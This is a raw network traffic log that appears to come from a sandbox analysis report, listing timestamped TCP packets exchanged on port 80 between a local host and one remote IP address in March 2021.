Mar 3, 2021 07:32:39.498925924 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.498936892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498954058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498967886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498982906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.498991966 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499046087 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499053955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499577045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499624014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499660969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499685049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499701977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499716997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499728918 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499732971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499748945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499756098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499763966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499773026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499779940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499789000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.499795914 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499815941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499833107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.499840021 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500541925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500581980 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500597954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500619888 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500627041 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500636101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500652075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500668049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500674963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500684023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500699997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500709057 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500720024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500726938 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500737906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500752926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500768900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500776052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.500783920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.500808001 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501472950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501513004 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501517057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501542091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501559019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501574039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501583099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501591921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501610041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501619101 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501626015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501635075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501641035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501657009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501663923 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501672029 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501688957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501703024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.501710892 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.501729965 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.502454996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502509117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502526999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502543926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502559900 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502578020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502594948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502610922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502613068 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.502626896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502643108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502651930 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.502657890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502674103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502681971 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.502691031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.502701998 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503385067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503408909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503424883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503424883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503443956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503460884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503468037 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503477097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503493071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503509045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503516912 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503524065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503532887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503593922 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.503923893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.503968954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504000902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504025936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504028082 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504041910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504059076 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504067898 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504074097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504089117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504097939 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504105091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504120111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504129887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504138947 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504146099 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504157066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504172087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504234076 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504245043 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.504877090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504929066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504961967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504977942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.504997969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505014896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505031109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505028963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505047083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505053997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505064011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505079031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505095005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505103111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505110979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505119085 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505130053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505812883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505860090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505861044 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505888939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505906105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505920887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505929947 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505937099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505945921 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505955935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505973101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.505980968 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.505989075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506005049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506012917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506021023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506036043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506043911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506050110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506059885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506664038 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506767035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506794930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506810904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506827116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506844044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506867886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506877899 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506886005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506901979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506917953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.506927967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.506943941 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.507693052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525013924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525043964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525055885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525075912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525091887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525125027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525151968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525182962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525187969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525207043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525243044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525258064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525268078 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525274992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525283098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525290966 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525305986 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525315046 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525325060 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525341988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525350094 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525357962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525372982 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525404930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525405884 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525420904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.525433064 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.525655031 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.526118040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526155949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526171923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526187897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526204109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526221991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526238918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526253939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526257992 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.526269913 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526281118 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.526284933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526300907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526310921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.526336908 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.526495934 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.526957035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527003050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527019978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527033091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527034998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527050972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527066946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527085066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527091980 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527101994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527122021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527128935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527142048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527159929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527174950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527185917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527192116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527215958 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527338982 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527837038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527885914 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527910948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527925968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527940989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527956009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527971983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.527981997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.527990103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528007984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528011084 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528019905 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528024912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528040886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528057098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528073072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528084040 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528146029 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528768063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528810024 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528841019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528867960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528870106 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528898954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528913975 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528925896 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528929949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528935909 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528945923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528960943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528975964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.528985977 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.528990984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529011011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529026985 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529033899 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529083967 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529241085 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529695988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529748917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529767990 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529788971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529807091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529823065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529838085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529854059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529855013 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529869080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529876947 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529887915 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529905081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529916048 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.529921055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529937029 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.529957056 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530045033 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530668974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530710936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530735970 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530752897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530762911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530769110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530787945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530787945 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530807972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530822992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530833006 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530843019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530858994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530865908 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530874014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530889988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530899048 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.530905962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.530915022 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.531177998 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.531554937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531588078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531604052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531619072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531637907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531655073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531666040 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.531670094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531687021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531702042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.531713009 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.531725883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.532147884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.535475969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564018965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564066887 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564085960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564102888 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564119101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564133883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564222097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564250946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564254045 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564268112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564273119 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564282894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564306974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564322948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564342976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564348936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564393997 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564466953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564493895 CET	80	49741	172.67.179.188	192.168.2.4
